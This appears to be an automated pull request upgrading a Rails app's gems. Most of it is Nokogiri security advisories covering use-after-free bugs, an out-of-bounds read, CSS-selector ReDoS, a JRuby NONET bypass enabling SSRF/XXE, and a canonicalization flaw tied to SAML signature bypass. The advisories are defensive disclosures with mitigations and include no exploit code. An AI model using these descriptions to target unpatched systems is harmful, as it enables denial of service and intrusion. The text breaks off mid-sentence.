🚨 [security] Update rails 7.1.5.2 → 8.1.3.1 (major)
🚨 Your current dependencies have known security vulnerabilities 🚨
This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!
Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.
What changed?
✳️ rails (7.1.5.2 → 8.1.3.1) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
✳️ baby_squeel (3.0.0 → 4.0.0) · Repo · Changelog
Release Notes
4.0.0 (from changelog)
- Remove ActiveRecord boundary
- Added support for ActiveRecord 8.1
- Added support for Ransack 4.4 (#134)
- Added support for ActiveRecord 8.0
- Added support for ActiveRecord 7.2
- Droped support for ActiveRecord 6.1 and 7.0
- Added Ruby 3.3 and 3.4 to test matrix
- Droped support for Ruby 3.0 and 3.1
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 14 commits:
Update changelogBump versionUpdate readmeMerge pull request #133 from rocket-turtle/rails-8Remove ActiveRecord boundaryMerge branch 'main' into rails-8Merge pull request #3 from rocket-turtle/update-build-workflowsUpdate build.ymlAdd support for Ransack 4.4Added support for ActiveRecord 8.0Added support for ActiveRecord 7.2Droped support for ActiveRecord 6.1 and 7.0Added Ruby 3.3 and 3.4 to test matrixDroped support for Ruby 3.0 and 3.1
✳️ bundler-audit (0.9.2 → 0.9.3) · Repo · Changelog
Release Notes
0.9.3
- Officially support Ruby 3.4, 3.5, and 4.0.
- Added support for Bundler 4.x.
- Fixed typos in API documentation.
CLI
- Ensure that the
bundler-audit checkcommand honors theBUNDLER_AUDIT_DBenvironment variable.
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 16 commits:
Updated the ChangeLog for 0.9.3.Version bump to 0.9.3.Added Ruby 4.0 to the CI matrix.Added Ruby 3.5 to the CI matrix.Require rubygems-tasks ~> 0.3 for Ruby 3.5 and 4.0.Allow using bundler 4.xRemove syntax highlighting from example output.Be consistent and only use markdown code fences.Fixed typo in `@return` tag.Update RubyGems in GitHub Actions CI (#406)Added Ruby 3.4 to the GitHub CI matrix.Disable new rubocops.Default `check --database` to `Database::DEFAULT_PATH`.Switched to using `Database::DEFAULT_PATH` instead of `Database.path`.Disable the `Gemspec/RequireMFA` rule since it's not aware of `gemspec.yml`.Added gem metadata and corrected links in gemspec.yml
✳️ minitest-rails (7.1.1 → 8.1.0) · Repo · Changelog
✳️ nokogiri (1.18.9 → 1.19.4) · Repo · Changelog
Security Advisories 🚨
🚨 Nokogiri: Possible Use-After-Free when setting an attribute value via `Nokogiri::XML::Attr#value=` or `#content=`
Summary
Nokogiri’s CRuby native extension could leave a Ruby wrapper pointing to freed memory when replacing the value of an XML attribute. If Ruby code had already accessed an attribute child node,
Nokogiri::XML::Attr#value=could free the underlying native child node while the wrapper remained reachable through the document node cache. A later use of the freed child node or a Ruby GC mark could dereference an invalid pointer, causing an invalid read and a possible segfault.Nokogiri 1.19.4 preserves any already-wrapped attribute child nodes before replacing the attribute value.
JRuby is not affected.
Severity
The Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must directly access an attribute's child node and then replace that same attribute's value via
Attr#value=or#content=. Nokogiri 1.19.4 makes this pattern safe with no change to the public API. Already-wrapped attribute child nodes are preserved before the value is replaced.Mitigation
Upgrade to Nokogiri 1.19.4 or later.
As a workaround, avoid accessing attribute child nodes directly via
Attr#childor similar before mutating the same attribute’s value.Credit
This issue was responsibly reported by Zheng Yu from depthfirst.com.
🚨 Nokogiri: Possible Use-After-Free when setting `Document#root=` to an invalid node type
Summary
Nokogiri::XML::Document#root=validated only that the new root was aNokogiri::XML::Node, allowing a DTD node to be set as the document root. The result is a heap use-after-free during garbage collection or finalization, leading to an invalid memory read or potentially a segfault.Nokogiri 1.19.4 restricts
Document#root=to element nodes, raisingTypeErrorfor any other node type.This memory-safety issue affects only the CRuby implementation (libxml2). The JRuby implementation was not affected; the same input validation was added there for behavioral parity.
Severity
The Nokogiri maintainers have evaluated this as low severity. This is only triggered by a programming error. It requires application code to assign a non-element node such as a DTD as the document root via
Document#root=. Nokogiri 1.19.4 now raisesTypeErrorinstead of allowing a use-after-free. It cannot be triggered by untrusted input or through normal use of the public API.Mitigation
Upgrade to Nokogiri 1.19.4 or later.
As a workaround, applications that cannot upgrade should avoid assigning a DTD (or any non-element node) via
Document#root=.Credit
This issue was responsibly reported by Zheng Yu from depthfirst.com.
🚨 Nokogiri: Possible Use-After-Free when directly using `NokogirI::XML::XPathContext` beyond document lifetime
Summary
Nokogiri::XML::XPathContextdid not keep its source document alive for garbage collection. If anXPathContextoutlived its document and the document was collected, evaluating an XPath expression could read invalid memory and potentially segfault.This is only reachable when application code constructs an
XPathContextdirectly and lets the document become unreachable while continuing to use the context. The normalDocument#xpath,#css, and related search methods are not affected, and it is not triggerable by malicious document input.Nokogiri 1.19.4 makes
XPathContextkeep its source document alive for as long as the context exists.Only the CRuby implementation is affected. JRuby is not affected.
Severity
The Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must construct an
XML::XPathContextdirectly and continue using it after allowing its source document to be garbage-collected. Nokogiri 1.19.4 makes this pattern safe with no change to the public API. The context now keeps its source document alive for as long as it exists.Mitigation
Upgrade to Nokogiri 1.19.4 or later.
As a workaround, ensure the source document remains referenced for as long as any
XPathContextcreated from it is in use. The standardDocument#xpath,#css, and related search methods already do this and are unaffected.Credit
This issue was responsibly reported by Zheng Yu from depthfirst.com.
🚨 Nokogiri: Possible Use-After-Free in XInclude Processing
Summary
XInclude substitution performed by
Nokogiri::XML::Node#do_xincludereplaced each<xi:include>in place, freeing the include node along with its children (such as<xi:fallback>and its descendants) and any namespaces declared on them. If an application had already exposed one of those nodes or namespaces to Ruby, the corresponding Ruby object was left pointing at freed memory. Using the object could result in invalid reads or writes to memory.Nokogiri 1.19.4 substitutes each
<xi:include>on a defensive copy by default, so the structures libxml2 frees are never the ones bound to live Ruby objects.Only the CRuby implementation is affected; JRuby is not affected.
Severity
The Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must parse a document without XInclude, traverse into an
<xi:include>subtree to expose its nodes or namespaces to Ruby, and only then invoke XInclude processing. The common case, requesting XInclude at parse time, operates on a freshly parsed document whose nodes are not yet exposed to Ruby and is not affected. Nokogiri 1.19.4 makes this pattern safe by default and requires no change to application code.Mitigation
Upgrade to Nokogiri 1.19.4 or later.
As a workaround for earlier versions, perform XInclude substitution at parse time (with the
xincludeparse option) rather than calling#do_xincludeon a document that has already been traversed. A freshly parsed document has no nodes exposed to Ruby, so the substitution is safe.Credit
This issue was responsibly reported by Zheng Yu from depthfirst.com.
🚨 Nokogiri: Possible Use-After-Free when `Nokogiri::XML::Document#encoding=` raises an exception
Summary
Calling
Document#encoding=with an invalid encoding (e.g., a non-string, or a string containing a null byte) raises an exception, but only after freeing the document's current encoding string without replacing it. The document is left referencing freed memory, so the next call toDocument#encodingreads invalid memory, which can cause a segfault or leak freed bytes into a RubyString.Affects the CRuby (libxml2) implementation only; JRuby is not affected.
Severity
The Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must pass an invalid encoding to
Document#encoding=, rescue the resulting exception, and then continue using the same document. Nokogiri 1.19.4 makes this pattern safe with no change to the public API. The document no longer references freed memory after the exception is raised.Mitigation
Upgrade to Nokogiri 1.19.4 or later.
If users are unable to upgrade, avoid passing attacker-controlled values to
Document#encoding=. Applications that only assign developer-authored encodings are not directly exposed.Credit
This issue was responsibly reported by Zheng Yu from depthfirst.com.
🚨 Nokogiri: XML::Schema on JRuby allows network requests when NONET is set, bypassing CVE-2020-26247
Summary
The
NONETparse option, which Nokogiri turns on by default forNokogiri::XML::Schema(see CVE-2020-26247), was not correctly enforced on the JRuby implementation. As a result, a schema parsed with default options could still cause external resources to be fetched over the network, potentially enabling SSRF or XXE attacks.Nokogiri 1.19.4 replaces the scheme denylist with an allowlist. When
NONETis enabled, only local resources (afile:scheme, or a relative or absolute path with no scheme) are resolved, and every network scheme is blocked, case-insensitively. This brings the JRuby behavior in line with CRuby.Only the JRuby implementation is affected. CRuby is not affected, because libxml2's
xmlNoNetExternalEntityLoaderblocks all network schemes at the I/O layer regardless of scheme or case.Severity
The Nokogiri maintainers have evaluated this as low severity (CVSS 2.6,
CVSS:3.0/AV:N/AC:H/PR:L/UI:R/S:U/C:L/I:N/A:N). It is a bypass of CVE-2020-26247, which was scored the same way.Mitigation
Upgrade to Nokogiri 1.19.4 or later.
There are no known workarounds for affected versions.
This change properly enforces
NONETon JRuby, which is a breaking change for any code that (perhaps unknowingly) relied on the previous behavior to load network resources with default parse options. If you trust your input and want to allow external resources to be accessed over the network, you can explicitly disableNONET, exactly as documented for CVE-2020-26247:
- Ensure the input is trusted. Do not enable this option for untrusted input.
- Pass a
Nokogiri::XML::ParseOptionswith theNONETflag turned off:# allows resources to be accessed over the network for trusted input schema = Nokogiri::XML::Schema.new(trusted_schema, Nokogiri::XML::ParseOptions.new.nononet)References
- Bypass of: GHSA-vr8q-g5c7-m54m
Credit
This issue was responsibly reported by @bilerden.
🚨 Nokogiri: Null Pointer Dereference calling methods on uninitialized wrapper classes
Summary
Nokogiri contains a bug when calling certain methods on allocated-but-uninitialized native wrapper classes that inherit from
Nokogiri::XML::Node. This caused a NULL pointer dereference that could crash the process.Nokogiri 1.19.4 checks for missing native data pointers and raises a
RuntimeError.JRuby is not affected.
Severity
The Nokogiri maintainers have evaluated this as low severity. This is only triggered by a programming error. It requires application code to call
.allocatedirectly on a native-backed class and then invoke methods on the resulting uninitialized object. It cannot be triggered by untrusted input or through normal use of the public API.Mitigation
Upgrade to Nokogiri 1.19.4 or later.
Avoid calling
.allocatedirectly on Nokogiri native-backed classes. Use the documented constructors and factory methods instead.Credit
This issue was responsibly reported by Zheng Yu from depthfirst.com.
🚨 Nokogiri: Possible Out-of-Bounds Read in `Nokogiri::XML::NodeSet#[]`
Summary
Nokogiri::XML::NodeSet#[](and its alias#slice) checked the requested index against the node set's bounds using a 32-bit-truncated copy of the index. A large negative index could pass the check and then be used at full width, reading outside the node set's storage. On CRuby this is an out-of-bounds read that typically crashes the process; on JRuby it is not memory-unsafe but returns an incorrect node.Nokogiri 1.19.4 performs the bounds check against the full-width index.
Severity
The Nokogiri maintainers have evaluated this as medium severity.
Exploitation requires an application to pass an attacker-controlled integer to
NodeSet#[]. The primary impact is a controlled crash (denial of service), with potential for memory disclosure on CRuby.On JRuby, Nokogiri is not affected by this vulnerability.
Mitigation
Upgrade to Nokogiri 1.19.4 or later.
As a workaround, applications that index a
NodeSetwith externally-supplied integers can validate the index againstnode_set.lengthbefore use, or avoid passing untrusted values as an index.Credit
This issue was responsibly reported by Zheng Yu from depthfirst.com.
🚨 Nokogiri CSS selector tokenizer has regular expression backtracking
Summary
Nokogiri's CSS selector tokenizer contains regular expressions whose construction may result in exponential regex backtracking on adversarial selectors. Three ReDoS vectors are addressed in this release:
- String-literal tokenization on certain unterminated quoted-string input.
- String-literal tokenization on a separate class of hex-escape-rich input.
- Identifier tokenization on hex-escape-rich input.
The public CSS selector methods that funnel through the affected tokenizer are
Nokogiri::CSS.xpath_for,Node#css,Node#at_css,Searchable#search, andCSS::Parser#parse.Mitigation
Upgrade to Nokogiri
>= 1.19.3.If users are unable to upgrade, two options are available:
- Avoid the use of attacker-controlled text in CSS selectors. Applications that only pass developer-authored selectors to Nokogiri are not directly exposed.
- Set global
Regexp.timeout(Ruby 3.2+, JRuby 9.4+) to bound parse time.Severity
The Nokogiri maintainers have evaluated this as High Severity (CVSS 7.5,
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).An attacker able to inject user-supplied text into a CSS selector parse method can cause exponential backtracking, resulting in a potential denial of service.
Resources
Credit
Vector 1 was responsibly reported by @colby-swandale. Vectors 2 and 3 were discovered by @flavorjones during the response to the original report.
🚨 Nokogiri XSLT transform has a memory leak
Summary
Nokogiri's
Nokogiri::XSLT::Stylesheet#transformleaks a small heap allocation when passed a Ruby string parameter containing a null byte.For applications that pass attacker-controlled input through
XSLT.transformparameters, this may be a vector for a denial of service attack against long-running processes.Mitigation
Upgrade to Nokogiri
>= 1.19.3.Users may also be able to mitigate this issue without upgrading by validating untrusted transform parameters before passing them to
Nokogiri::XSLT::Stylesheet#transform.Severity
The Nokogiri maintainers have evaluated this as Moderate Severity, CVSS 5.3.
Each leaked allocation is approximately 24–32 bytes, so meaningful memory growth requires sustained attacker-controlled traffic at high call rates. The bug does not cause memory corruption, information disclosure, or any change in the behavior of the transform itself, and the string-handling exception is raised as expected.
Applications that do not pass raw attacker-controlled bytes to XSLT parameters are unlikely to be affected in practice.
Resources
Credit
This vulnerability was responsibly reported by @Captainjack-kor.
🚨 Nokogiri does not check the return value from xmlC14NExecute
Summary
Nokogiri's CRuby extension fails to check the return value from
xmlC14NExecutein the methodNokogiri::XML::Document#canonicalizeandNokogiri::XML::Node#canonicalize. When canonicalization fails, an empty string is returned instead of raising an exception. This incorrect return value may allow downstream libraries to accept invalid or incomplete canonicalized XML, which has been demonstrated to enable signature validation bypass in SAML libraries.JRuby is not affected, as the Java implementation correctly raises
RuntimeErroron canonicalization failure.Mitigation
Upgrade to Nokogiri
>= 1.19.1.Severity
The maintainers have assessed this as Medium severity. Nokogiri itself is a parsing library without a clear security boundary related to canonicalization, so the direct impact is that a method returns incorrect data on invalid input. However, this behavior was exploited in practice to bypass SAML signature validation in downstream libraries (see References).
Credit
This vulnerability was responsibly reported by HackerOne researcher
d4d.
Release Notes
1.19.4
v1.19.4 / 2026-06-18
Security
- [CRuby] (Low) Fixed a possible invalid memory read when
XML::Node#initialize_copy_with_argsis called with an argument that is not aNode. See GHSA-g9g8-vgvw-g3vf for more information.- [CRuby] (Low) Fixed a possible use-after-free when an
XML::XPathContextis used after its source document has been garbage collected. See GHSA-p67v-3w7g-wjg7 for more information.- [CRuby] (Low) Fixed a possible use-after-free during XInclude processing via
Node#do_xinclude. See GHSA-wfpw-mmfh-qq69 for more information.- [CRuby] (Low) Fixed a possible use-after-free when
Document#root=is assigned a non-element node. See GHSA-wjv4-x9w8-wm3h for more information.- [CRuby] (Low) Fixed a possible use-after-free when setting an attribute value via
XML::Attr#value=or#content=. See GHSA-phwj-rprq-35pp for more information.- [CRuby] (Low) Fixed a null pointer dereference when methods are called on uninitialized wrapper objects (e.g. via
allocate); these now raise instead of crashing the process. See GHSA-9cv2-cfxc-v4v2 for more information.- [CRuby] (Low) Fixed a possible use-after-free when
Document#encoding=raises an exception. See GHSA-5v8h-3h3q-446p for more information.- [CRuby] (Medium) Fixed an out-of-bounds read in
XML::NodeSet#[](alias#slice) when given a large negative index. See GHSA-5prr-v3j2-97mh for more information.- [JRuby] (Low)
XML::Schemanow enforces theNONETparse option, which Nokogiri enables by default. It was not enforced on JRuby, so a schema parsed with default options could still fetch external resources over the network, potentially enabling SSRF or XXE attacks and bypassing the mitigation for CVE-2020-26247. See GHSA-8678-w3jw-xfc2 for more information.
SHA256 checksums
1269fb644a6de405057a53dd5c762b1209b43ca7424f839454d3dbc677c31a8f nokogiri-1.19.4-aarch64-linux-gnu.gem 35c65b9ce72b3bb03207bdbe7067915019dc18c1b9b59139684bd6690fdd01af nokogiri-1.19.4-aarch64-linux-musl.gem a301313e38bb065d68239e79734bcd6f56fb6efaacebde29e9abf2a4735340ca nokogiri-1.19.4-arm-linux-gnu.gem 588923c101bcfa78869734d247d25b598674323e7f22474fc468f6e5647311eb nokogiri-1.19.4-arm-linux-musl.gem a46db9853286e6597b36ebc6953817d15acf3a299583eb3f89fdc6f91dd63527 nokogiri-1.19.4-arm64-darwin.gem ce04b9e268c9626852231a48b49128ed52034f1ccb39484a6da3875491cd709e nokogiri-1.19.4-java.gem 051da97b8eccfdb5444fed40246a35e10d7298b9efe759b4cd25455ea04c587e nokogiri-1.19.4-x64-mingw-ucrt.gem 7fd17057d3e1f00e9954a74b3cd76595d3d4a5ef233b7ed9599047c204f70551 nokogiri-1.19.4-x86_64-darwin.gem 379fae440b28915e3f19d752ce2dcf8465ed2b2fbefd2a7ca0dd497bc981a06a nokogiri-1.19.4-x86_64-linux-gnu.gem 17dfb7c1fa194ae02fbf7c51a7afc8d278045ab3fdacfd86f91d02d7b274470b nokogiri-1.19.4-x86_64-linux-musl.gem 50c951611c92bca05c51411aef45f1cbc50f2821c4802758c5c6d34696533ab5 nokogiri-1.19.4.gem
1.19.3
v1.19.3 / 2026-04-27
Fixed / Security
- Address exponential regex backtracking in CSS selector tokenizer. See GHSA-c4rq-3m3g-8wgx for more information.
- [CRuby] Address memory leak in
XSLT::Stylesheet#transform. See GHSA-v2fc-qm4h-8hqv for more information.
sha256 checksums
46b89e5d7b9e844c2ee360794240c6ea2a4e6fa0c5892a4ed487db621224b639 nokogiri-1.19.3-aarch64-linux-gnu.gem 8392dfdcd21be7a94dbbe9ccc138dea01b97b24cb2dc02a114ca98bfb1d9a0b7 nokogiri-1.19.3-aarch64-linux-musl.gem 3919d5ffc334ad778a4a9eb88fda7dcb8b1fb58c8a52ac640c6dcd2f038e774f nokogiri-1.19.3-arm-linux-gnu.gem 9ce1cb6346bb9c67b1550eb537aa183ead91e4b6eadb2f36ade02d8dd2a79fb6 nokogiri-1.19.3-arm-linux-musl.gem 71b9bd424b1b7abc18b05052a1a3cfd3627abdca62be280854cc411791357e42 nokogiri-1.19.3-arm64-darwin.gem 40ea6ebf5cf2005dae1dee26dd557d3afb41fb6de6c9764aca8cf06fdb841db1 nokogiri-1.19.3-java.gem 8bb7132cad356c879a1286eaabcb5e68326cb2490317984280fbc62f456d506a nokogiri-1.19.3-x64-mingw-ucrt.gem 77f3fba57d46c53ab31e62fc6c28f705109d1bf6264356c76f132b2be5728d4d nokogiri-1.19.3-x86_64-darwin.gem 2f5078620fe12e83669b5b17311b32532a8153d02eee7ad06948b926d6080976 nokogiri-1.19.3-x86_64-linux-gnu.gem 248c906d2166eca5efb56d52fdee5f9a1f51d69a72e2b64fdac647b4ce39ea3f nokogiri-1.19.3-x86_64-linux-musl.gem 78312cbac32a40c812780d9678221b79d51288eec00054c1a8d15f7ce05960e8 nokogiri-1.19.3.gem
1.19.2
v1.19.2 / 2026-03-19
Dependencies
- [JRuby] Saxon-HE is updated to 12.7, from 9.6.0-4. Saxon-HE is a transitive dependency of nu.validator:jing, and this update addresses CVEs in Saxon-HE's own transitive dependencies JDOM and dom4j. We don't think this warrants a security release, however we're cutting a patch release to help users whose security scanners are flagging this. [#3611] @flavorjones
SHA256 Checksums
c34d5c8208025587554608e98fd88ab125b29c80f9352b821964e9a5d5cfbd19 nokogiri-1.19.2-aarch64-linux-gnu.gem 7f6b4b0202d507326841a4f790294bf75098aef50c7173443812e3ac5cb06515 nokogiri-1.19.2-aarch64-linux-musl.gem b7fa1139016f3dc850bda1260988f0d749934a939d04ef2da13bec060d7d5081 nokogiri-1.19.2-arm-linux-gnu.gem 61114d44f6742ff72194a1b3020967201e2eb982814778d130f6471c11f9828c nokogiri-1.19.2-arm-linux-musl.gem 58d8ea2e31a967b843b70487a44c14c8ba1866daa1b9da9be9dbdf1b43dee205 nokogiri-1.19.2-arm64-darwin.gem e9d67034bc80ca71043040beea8a91be5dc99b662daa38a2bfb361b7a2cc8717 nokogiri-1.19.2-java.gem 8ccf25eea3363a2c7b3f2e173a3400582c633cfead27f805df9a9c56d4852d1a nokogiri-1.19.2-x64-mingw-ucrt.gem 7d9af11fda72dfaa2961d8c4d5380ca0b51bc389dc5f8d4b859b9644f195e7a4 nokogiri-1.19.2-x86_64-darwin.gem fa8feca882b73e871a9845f3817a72e9734c8e974bdc4fbad6e4bc6e8076b94f nokogiri-1.19.2-x86_64-linux-gnu.gem 93128448e61a9383a30baef041bf1f5817e22f297a1d400521e90294445069a8 nokogiri-1.19.2-x86_64-linux-musl.gem 38fdd8b59db3d5ea9e7dfb14702e882b9bf819198d5bf976f17ebce12c481756 nokogiri-1.19.2.gemFull Changelog: v1.19.1...v1.19.2
1.19.1
v1.19.1 / 2026-02-16
Security
- [CRuby] Address unchecked return value from
xmlC14NExecutewhich was a contributing cause to ruby-saml GHSA-x4h9-gwv3-r4m4. See GHSA-wx95-c6cv-8532 for more information.
sha256 checksums
cfdb0eafd9a554a88f12ebcc688d2b9005f9fce42b00b970e3dc199587b27f32 nokogiri-1.19.1-aarch64-linux-gnu.gem 1e2150ab43c3b373aba76cd1190af7b9e92103564063e48c474f7600923620b5 nokogiri-1.19.1-aarch64-linux-musl.gem 0a39ed59abe3bf279fab9dd4c6db6fe8af01af0608f6e1f08b8ffa4e5d407fa3 nokogiri-1.19.1-arm-linux-gnu.gem 3a18e559ee499b064aac6562d98daab3d39ba6cbb4074a1542781b2f556db47d nokogiri-1.19.1-arm-linux-musl.gem dfe2d337e6700eac47290407c289d56bcf85805d128c1b5a6434ddb79731cb9e nokogiri-1.19.1-arm64-darwin.gem 1e0bda88b1c6409f0edb9e0c25f1bf9ff4fa94c3958f492a10fcf50dda594365 nokogiri-1.19.1-java.gem 110d92ae57694ae7866670d298a5d04cd150fae5a6a7849957d66f171e6aec9b nokogiri-1.19.1-x64-mingw-ucrt.gem 7093896778cc03efb74b85f915a775862730e887f2e58d6921e3fa3d981e68bf nokogiri-1.19.1-x86_64-darwin.gem 1a4902842a186b4f901078e692d12257678e6133858d0566152fe29cdb98456a nokogiri-1.19.1-x86_64-linux-gnu.gem 4267f38ad4fc7e52a2e7ee28ed494e8f9d8eb4f4b3320901d55981c7b995fc23 nokogiri-1.19.1-x86_64-linux-musl.gem 598b327f36df0b172abd57b68b18979a6e14219353bca87180c31a51a00d5ad3 nokogiri-1.19.1.gem
1.19.0
v1.19.0 / 2025-12-28
Ruby
This release is focused on changes to Ruby version support, and is otherwise functionally identical to v1.18.10.
- Introduce native gem support for Ruby 4.0. #3590
- End support for Ruby 3.1, for which upstream support ended 2025-03-26.
- End support for JRuby 9.4 (which targets Ruby 3.1 compatibility).
sha256 checksums
11a97ecc3c0e7e5edcf395720b10860ef493b768f6aa80c539573530bc933767 nokogiri-1.19.0-aarch64-linux-gnu.gem eb70507f5e01bc23dad9b8dbec2b36ad0e61d227b42d292835020ff754fb7ba9 nokogiri-1.19.0-aarch64-linux-musl.gem 572a259026b2c8b7c161fdb6469fa2d0edd2b61cd599db4bbda93289abefbfe5 nokogiri-1.19.0-arm-linux-gnu.gem 23ed90922f1a38aed555d3de4d058e90850c731c5b756d191b3dc8055948e73c nokogiri-1.19.0-arm-linux-musl.gem 0811dfd936d5f6dd3f6d32ef790568bf29b2b7bead9ba68866847b33c9cf5810 nokogiri-1.19.0-arm64-darwin.gem 5f3a70e252be641d8a4099f7fb4cc25c81c632cb594eec9b4b8f2ca8be4374f3 nokogiri-1.19.0-java.gem 05d7ed2d95731edc9bef2811522dc396df3e476ef0d9c76793a9fca81cab056b nokogiri-1.19.0-x64-mingw-ucrt.gem 1dad56220b603a8edb9750cd95798bffa2b8dd9dd9aa47f664009ee5b43e3067 nokogiri-1.19.0-x86_64-darwin.gem f482b95c713d60031d48c44ce14562f8d2ce31e3a9e8dd0ccb131e9e5a68b58c nokogiri-1.19.0-x86_64-linux-gnu.gem 1c4ca6b381622420073ce6043443af1d321e8ed93cc18b08e2666e5bd02ffae4 nokogiri-1.19.0-x86_64-linux-musl.gem e304d21865f62518e04f2bf59f93bd3a97ca7b07e7f03952946d8e1c05f45695 nokogiri-1.19.0.gem
1.18.10
v1.18.10 / 2025-09-15
Dependencies
- [CRuby] Vendored libxml2 is updated to v2.13.9. Note that the security fixes published in v2.13.9 were already present in Nokogiri v1.18.9.
- [CRuby] [Windows and MacOS] Vendored libiconv is updated to v1.18
sha256 checksums
7fb87235d729c74a2be635376d82b1d459230cc17c50300f8e4fcaabc6195344 nokogiri-1.18.10-aarch64-linux-gnu.gem 7e74e58314297cc8a8f1b533f7212d1999dbe2639a9ee6d97b483ea2acc18944 nokogiri-1.18.10-aarch64-linux-musl.gem 51f4f25ab5d5ba1012d6b16aad96b840a10b067b93f35af6a55a2c104a7ee322 nokogiri-1.18.10-arm-linux-gnu.gem 1c6ea754e51cecc85c30ee8ab1e6aa4ce6b6e134d01717e9290e79374a9e00aa nokogiri-1.18.10-arm-linux-musl.gem c2b0de30770f50b92c9323fa34a4e1cf5a0af322afcacd239cd66ee1c1b22c85 nokogiri-1.18.10-arm64-darwin.gem cd431a09c45d84a2f870ba0b7e8f571199b3727d530f2b4888a73639f76510b5 nokogiri-1.18.10-java.gem 64f40d4a41af9f7f83a4e236ad0cf8cca621b97e31f727b1bebdae565a653104 nokogiri-1.18.10-x64-mingw-ucrt.gem 536e74bed6db2b5076769cab5e5f5af0cd1dccbbd75f1b3e1fa69d1f5c2d79e2 nokogiri-1.18.10-x86_64-darwin.gem ff5ba26ba2dbce5c04b9ea200777fd225061d7a3930548806f31db907e500f72 nokogiri-1.18.10-x86_64-linux-gnu.gem 0651fccf8c2ebbc2475c8b1dfd7ccac3a0a6d09f8a41b72db8c21808cb483385 nokogiri-1.18.10-x86_64-linux-musl.gem d5cc0731008aa3b3a87b361203ea3d19b2069628cb55e46ac7d84a0445e69cc1 nokogiri-1.18.10.gem
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by 70 commits:
version bump to v1.19.4fix: JRuby NONET bypass in XML::Schema (v1.19.x) (#3639)fix(CRuby): use-after-free in Document#encoding= when setter raises (v1.19.x) (#3646)fix: JRuby NONET bypass in XML::Schemafix(CRuby): use-after-free in Document#encoding= when setter raisesfix(CRuby): out-of-bounds read in NodeSet#[] with large negative index (v1.19.x) (#3647)fix: avoid NPE on uninitialized XML::Node structs (v1.19.x) (#3645)fix(CRuby): avoid UAF in XML::Attr#value= (v1.19.x) (#3644)fix: `Document#root=` rejects non-element nodes (v1.19.x) (#3643)fix(CRuby): use-after-free in XPathContext document lifetime (v1.19.x) (#3641)fix: `Node#initialize_copy_with_args` rejects non-Node sources (v1.19.x) (#3640)fix: use-after-free in `Node#do_xinclude` (v1.19.x) (#3642)fix: use-after-free in `Node#do_xinclude`test: skip int truncation tests where long==intfix(CRuby): out-of-bounds read in NodeSet#[] with large negative indexfix(CRuby): use-after-free in XPathContext document lifetimefix: avoid NPE on uninitialized XML:Node structsfix(CRuby): avoid UAF in XML::Attr#value=fix: `Document#root=` rejects non-element nodesfix: `Node#initialize_copy_with_args` rejects non-Node sourcesstyle: disable SpaceInsidePercentLiteralDelimitersMerge branch 'better-valgrind-assertion-v1.19.x' into v1.19.xtest(dev): extend refute_valgrind_errors with yield_on_jrubytest(dev): add a test:memory_suite:valgrind rake targettest(dev): improve refute_valgrind_errorstest(dev): Extract memory debugger helpersversion bump to v1.19.3fix: backtracking in CSS tokenizer rules (v1.19.x backport) (#3627)test: skip CSS tokenizer benchmarks on JRubyfix: ReDoS in CSS tokenizer ident rulefix: ReDoS in CSS tokenizer STRING rulefix: memory leak in XSLT transform (backport to v1.19.x) (#3624)doc: update CHANGELOGfix: memory leak in XSLT transformdep(test): test against libxml-ruby v6 (#3618)doc: add security warnings for untrusted XSLT stylesheetsversion bump to v1.19.2dep: upgrade Saxon-HE from 9.6.0-4 to 12.7 [v1.19.x backport] (#3614)dep: upgrade Saxon-HE from 9.6.0-4 to 12.7Skip compressed file SAX test on libxml2 >= 2.15version bump to v1.19.1doc: update CHANGELOG for upcoming v1.19.1C14n raise on failure (#3600)Raise RuntimeError when canonicalization failsThank sponsors in the READMEdep: update rdoc to v7version bump to v1.19.0dev: convert scripts/test-gem-set to use misedep: Add native Ruby 4 support, drop Ruby 3.1 support (v1.19.x) (#3592)Skip the parser compression test for Windows system libsci: temporarily pin to setup-ruby with windows ruby 4dep: update to minitest 6dep: require JRuby >= 10.0dep: add support for native Ruby 4.0 gemci: bump versions in CI imagesci: avoid bundler collisions in downstream testsci: use arm64 hosts to speed things updep: make sure rdoc is an optional dependencydep(dev): drop explicit Bundler dependencyversion bump to v1.18.10dep: bump vendored libxml2 to v2.13.9 (#3555)ci: work around repeated bundler deadlocksdep: bump vendored libxml2 to v2.13.9[v1.18.x] backport libiconv upgrade to v1.18 (#3550)dep: update vendored libiconv to 1.18Use mirror site to download libiconvci: stop testing Ruby 3.1 windows source buildsci: fix the aarch64 segfault by using a more modern qemuFix errors building Ruby 3.1 on windowsFix errors building Ruby 3.1 on macos 15
↗️ actioncable (indirect, 7.1.5.2 → 8.1.3.1) · Repo · Changelog
Release Notes
8.0.1 (from changelog)
Ensure the Postgresql adapter always use a dedicated connection even during system tests.
Fix an issue with the Action Cable Postgresql adapter causing deadlock or various weird pg client error during system tests.
Jean Boussier
8.0.0.1 (from changelog)
- No changes.
8.0.0 (from changelog)
- No changes.
7.2.2.1 (from changelog)
- No changes.
7.2.2 (from changelog)
- No changes.
7.2.1.2 (from changelog)
- No changes.
7.2.1.1 (from changelog)
- No changes.
7.2.1 (from changelog)
- No changes.
7.2.0 (from changelog)
Bring
ActionCable::Connection::TestCookieJarin alignment withActionDispatch::Cookies::CookieJarin regards to setting the cookie value.Before:
cookies[:foo] = { value: "bar" } puts cookies[:foo] # => { value: "bar" }After:
cookies[:foo] = { value: "bar" } puts cookies[:foo] # => "bar"Justin Ko
Record ping on every Action Cable message.
Previously only
pingandwelcomemessage types were keeping the connection active. Now every Action Cable message updates thepingedAtvalue, preventing the connection from being marked as stale.yauhenininjia
Add two new assertion methods for Action Cable test cases:
assert_has_no_streamandassert_has_no_stream_for.These methods can be used to assert that a stream has been stopped, e.g. via
